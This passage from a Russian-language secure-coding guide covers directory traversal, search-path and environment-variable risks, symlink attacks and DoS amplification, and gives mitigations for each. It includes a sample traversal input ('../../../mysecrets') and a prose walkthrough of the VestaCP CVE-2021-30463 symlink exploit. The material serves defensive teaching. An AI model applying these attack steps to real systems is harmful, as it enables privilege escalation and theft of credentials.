Подобные проблемы могут возникать и за пределами командной оболочки. Классический пример — системы часто не должны разрешать доступ за пределы определенного каталога (например, «корневой директории» веб-сервера). Предположим, приложение формирует путь через объединение trusted_root_path и имени пользователя. Злоумышленник может создать имя пользователя вида ../../../mysecrets и обойти ограничения. Эта уязвимость, когда злоумышленник может манипулировать путями для выхода за предусмотренные границы, настолько распространена, что имеет отдельное название — уязвимости обхода каталогов (directory traversal vulnerabilities).
Классическим примером уязвимости обхода каталогов является CVE-2020-11652 в системе SaltStack. SaltStack — это инструмент для управления конфигурацией и оркестрации распределенной инфраструктуры. В данной уязвимости один из методов не выполнял должной проверки входного параметра, что позволяло использовать конструкции “..” при формировании имен файлов. В результате злоумышленники могли заставить целые группы серверов выполнять произвольные команды.
Соблюдайте осторожность при отображении или сохранении путей к файлам, так как они могут содержать символы новой строки, табуляции, escape-последовательности (которые запускают управление терминалом), а также другие некорректные строковые последовательности. В некоторых системах простой вывод таких имен файлов может активировать команды управления терминалом, что, в свою очередь, может привести к выполнению команд с привилегиями пользователя, отображающего эти имена.
Используйте строгий белый список для данных, участвующих в формировании путей. Если белый список вашего веб-приложения не включает символы «.», «/», «~» и «\», в большинстве систем существенно усложнится возможность выхода за пределы целевого каталога. Другое распространенное решение — преобразовывать относительный путь в нормализованный абсолютный путь, устраняя все последовательности «..», а затем проверять, что результирующий путь остается в правильной области файловой системы.
Пути поиска и переменные окружения
Приложения часто ищут различные ресурсы: библиотеки, команды, пакеты. Обычно для этого используется «путь поиска» — упорядоченный список мест, где следует искать. Классический пример — переменная PATH в Unix-подобных системах, содержащая список каталогов для поиска исполняемых файлов. Существуют и другие аналогичные переменные (например, PYTHONPATH в Python). Кроме того, многие системы используют свои пути поиска — например, менеджеры пакетов обычно имеют список репозиториев, откуда можно загружать пакеты.
Если злоумышленник может контролировать путь поиска, он может заставить приложение выполнять вредоносный код, использовать подконтрольные ему данные или раскрывать конфиденциальную информацию. Например, контролируя PATH, можно подменить запускаемое приложение. Лучшее решение — не давать атакующему возможности влиять на путь поиска либо устанавливать путь поиска в безопасное значение перед его использованием.
Смежная проблема, когда путь поиска содержит каталоги, на которые злоумышленник может влиять непредусмотренным образом. Например, если PATH включает «.» (текущий каталог) перед системными каталогами, атакующий может подложить туда вредоносный файл.
В старых Unix-системах это было настройкой по умолчанию. Сейчас такая ошибка часто возникает при некорректном объединении путей: если исходный путь пуст, добавление разделителя создает пустую запись в начале (например, «:/usr/bin»), что интерпретируется как текущий каталог. Правильное решение — добавлять разделитель только когда в пути уже есть элементы.
Существует несколько способов противодействия проблемам с путями поиска.
- Проверка путей при запуске. Анализировать используемые пути (например, PATH) на наличие типичных ошибок, таких как пустые каталоги или точка (.) перед доверенными путями (вроде /usr/bin). При обнаружении небезопасных настроек работу приложения следует остановить или, как минимум, выдать предупреждение.
- Использование абсолютных путей. Указывать полные пути при вызове исполняемых файлов, импорте библиотек или обращении к пакетам. Это действенный механизм защиты, однако он может усложнить перенос приложений между системами, и о нем легко забыть в некоторых случаях.
Многие значения конфигурации, включая пути поиска, предоставляются через переменные окружения. Некоторые среды выполнения, например клиентский JavaScript, не имеют переменных окружения. В большинстве других сред (клиентских и серверных) переменные окружения существуют, но обычно считаются доверенными (то есть переменные окружения могут быть установлены только кем-то, у кого есть права на их установку).
Однако существует особый случай: когда вы разрабатываете ПО с установленными битами setuid или setgid, переменные окружения могут контролироваться злоумышленником. Поясним для ясности: Unix-подобные системы (включая Linux и macOS) позволяют создавать setuid- и setgid-приложения. Такое приложение выполняется с правами владельца файла (а не запустившего ее пользователя), а setgid-приложения – с правами группы файла. Эти приложения наследуют различные входные данные от потенциального злоумышленника, включая текущий каталог и переменные окружения. Во многих случаях сегодня можно обойтись без создания setuid/setgid-приложений, и это будет самым разумным решением.
Если же вы всё-таки пишете setuid/setgid-приложение, оно должно защищаться от всех входных данных, включая текущий каталог и переменные окружения. С переменными окружения нужно быть особенно осторожным – многие кажущиеся безопасными подходы на самом деле таковыми не являются. Поскольку обычно переменные окружения поступают из доверенных источников, большинство разработчиков не готовы к случаю, когда они контролируются злоумышленником.
Единственное безопасное решение – при запуске приложения извлечь только необходимые переменные окружения, проверить их значения на безопасность, полностью очистить все переменные окружения и установить нужные переменные в безопасные значения (включая значения, переданные при запуске программы). В большинстве языков программирования очистка всех переменных окружения выполняется просто – достаточно установить глобальную переменную environ в нулевой указатель (эта переменная определена в стандарте POSIX). Делать это нужно на раннем этапе, до создания каких-либо потоков.
Недостаточно просто удалить несколько переменных окружения – злоумышленник может создать сложную структуру переменных, а потенциально опасных переменных (таких как LD_LIBRARY_PATH) существует слишком много, чтобы пытаться выборочно их удалять. Это ещё один пример принципа белого списка: разрешайте только те переменные окружения, которые вам действительно нужны, с проверенными значениями, и ничего более. Это относится и к PATH, и ко всем остальным переменным окружения.
Имена файлов и ссылки
Если ваше ПО может работать с объектами файловой системы (включая каталоги), которые потенциально находятся под контролем злоумышленника, необходимо учитывать связанные с этим риски. Одна из возможных проблем, которую мы еще не рассматривали – уязвимости при обработке символьных ссылок (improper link resolution).
Подавляющее большинство операционных систем поддерживают «жесткие ссылки» и «символьные ссылки». «Жесткая ссылка» создает дополнительное имя, которое ссылается на тот же самый объект файловой системы – с теми же правами доступа и владельцем. «Символьная ссылка» (также называемая «symlink» или «мягкая ссылка») – это специальный файл, который содержит путь к другому файлу или каталогу; при попытке открыть ее система перенаправит запрос к целевому объекту. Эти механизмы могут быть полезны, но если злоумышленник может создавать такие ссылки в области файловой системы, к которой обращается ваше приложение, они становятся угрозой, поэтому приложения должны быть готовы к их обработке.
Нужно писать код, который учитывает наличие жестких и символьных ссылок. В частности, не следует предполагать, что все файлы в каталоге обязательно принадлежат владельцу этого каталога. Если ваша программа обладает повышенными привилегиями, может потребоваться временно отказываться от них перед выполнением операций с файловой системой. Также в Unix-подобных системах можно использовать опцию O_NOFOLLOW при открытии файлов: она отключает переход по символьным ссылкам для последнего компонента имени файла (базового имени, the basename), но только для него, и в некоторых языках программирования для использования этой опции требуются дополнительные шаги.
В Unix-подобных системах применяют два основных метода защиты от атак с использованием ссылок (хотя они не обеспечивают полную безопасность):
Для всех каталогов с общим доступом на запись должен быть установлен sticky bit. В современных Unix-подобных системах этот флаг ограничивает возможные операции в каталоге. Например, в Linux он разрешает удаление или переименование файла только его владельцу, владельцу каталога или root-пользователю. Обычно же все пользователи с правами записи в каталог могут создавать и переименовывать файлы независимо от их владельца. Sticky bit обычно уже установлен для системных каталогов вроде /tmp, но его нужно явно устанавливать для новых общих каталогов. Это усложняет проведение атак, связанных с созданием или изменением ссылок.
Там, где это доступно, включите «protected sticky symlinks» (также известные как protected_symlinks). В системах с protected sticky symlinks символьная ссылка обрабатывается только если она находится вне sticky-каталога с общим доступом на запись, или когда uid символьной ссылки и обрабатывающего процесса совпадают, или когда владелец каталога совпадает с владельцем символьной ссылки. Многие дистрибутивы Linux включают эту функцию по умолчанию, включая Ubuntu, Fedora и Red Hat Enterprise Linux.
Уязвимость перехода по ссылкам в VestaCP (CVE-2021-30463)
VestaCP — это панель управления хостингом с открытым исходным кодом, которая позволяет пользователям управлять своими хостинг-пакетами: покупать доменные имена, устанавливать приложения, создавать почтовые ящики и загружать файлы сайтов. К сожалению, в VestaCP до версии 0.9.8-24 существовала уязвимость, позволявшая злоумышленникам повышать привилегии путем создания симлинков на файлы, доступ к которым у них отсутствовал. Эта уязвимость получила идентификатор CVE-2021-30463.
Коренная проблема заключалась в том, что VestaCP считала, что все файлы в домашней директории пользователя (прямо или косвенно) обязательно принадлежат ему и находятся под его контролем. Однако в современных операционных системах это не всегда так – благодаря жестким и символьным ссылкам в домашнем каталоге могут находиться ссылки на другие файлы.
Детали этой атаки были описаны следующим образом (SSD Disclosure, SSD Advisory — VestaCP LPE Vulnerabilities, 20 марта 2021 г.): злоумышленник мог создать в своем веб-каталоге поддиректорию с именем атакуемого домена (например, pwned.pwn). Внутри нее создавалась директория public_xhtml, а в ней — симлинк pwn.pwn на целевой файл (например, на файл user.conf администратора с учетными данными). Дополнительно в каталоге pwned.pwn создавались симлинки на системные директории, недоступные атакующему (/usr/local/vesta/data/users и /usr/local/vesta/data/users/admin). Для эксплуатации уязвимости достаточно было создать домен pwned.pwn через URL /add/web в панели VestaCP. После этого злоумышленник получал возможность читать конфиденциальные данные из user.conf администратора и изменять его пароль.
Обеспечение доступности при работе с входными данными
Гарантировать доступность системы при всех возможных сценариях крайне сложно. Например, если система доступна через интернет, злоумышленник может организовать масштабную распределенную атаку на отказ в обслуживании (Distributed Denial of Service, DDoS) и исчерпать ресурсы сервиса.
Однако если подходить к доступности с точки зрения управления рисками, ситуация выглядит менее пугающей. Задача состоит в снижении риска DoS-атак — уменьшении вероятности их успеха и минимизации последствий. Вероятность можно снизить, сделав атаку более сложной, рискованной или ресурсоемкой для злоумышленника.
Важное понятие в безопасности — коэффициент усиления атаки. Если уязвимость имеет высокий коэффициент усиления, это значит, что злоумышленник может малыми силами вызвать огромную нагрузку на ваши серверы. Чем выше этот коэффициент — тем опаснее уязвимость и тем быстрее ее нужно устранять. Если коэффициент низкий — риск можно принять или компенсировать другими мерами защиты.
Проанализируйте типы входных данных в вашей системе. Может ли злоумышленник отправить небольшой запрос, который вызовет непропорционально высокую нагрузку — например, потребует много вычислительных ресурсов или сгенерирует огромный ответ? Такие входные данные особенно опасны, поскольку их легко использовать в атаках с усилением.
Примеры непропорционального потребления ресурсов:
- сетевая полоса — небольшой запрос приводит к отправке гигантского ответа;
- процессорное время — как в случае с ReDoS, когда простая строка вызывает долгие вычисления;
- дисковое пространство — маленький сжатый файл распаковывается в гигабайты данных;
- лимиты параллелизма — запрос надолго занимает соединение, исчерпывая лимиты потоков или подключений к БД.
Риски таких атак можно снизить с помощью аутентификации, поскольку в этом случае злоумышленникам приходится раскрывать информацию о себе. В целом старайтесь устранять подобные уязвимости хотя бы для неаутентифицированных запросов, а для остальных рассмотрите введение обязательной аутентификации.
Одним из решений для снижения нагрузки на пропускную способность сети является пагинация. Вместо возврата очень большого результата целиком возвращайте данные меньшими частями. Это вынуждает злоумышленника многократно выполнять запросы для получения полного объема данных.
Если невозможно полностью устранить входные данные с высоким коэффициентом усиления, попробуйте распределить нагрузку. Например, при распространении больших файлов рассмотрите возможность использования сети доставки контента (Content Delivery Network, CDN). Многие веб-сайты используют CDN именно для того, чтобы простые запросы с потенциально большими ответами не перегружали их основные серверы.
Простой и широко применяемый подход для повышения доступности в сетевых системах – ограничение частоты запросов (Rate Limiting). Этот механизм ограничивает интенсивность входящих запросов (например, для конкретного пользователя, API-ключа или IP-адреса). При условии, что установленные лимиты достаточно высоки, они не оказывают значительного влияния на нормальное использование системы, но при этом существенно снижают эффективность DoS-атак с одного источника. В некоторых случаях ограничение частоты может даже частично противодействовать DDoS-атакам (поскольку снижает эффективность каждой отдельной атакующей системы). Этот подход также помогает предотвратить некоторые проблемы, вызванные случайными факторами.
Стоит отметить, что если вы вынуждаете пользователя выполнять множество запросов (например, с помощью пагинации), они могут начать достигать установленных лимитов частоты.
Ограничение частоты запросов не является полным решением, но представляет собой простой и экономичный подход, который увеличивает сложность атаки.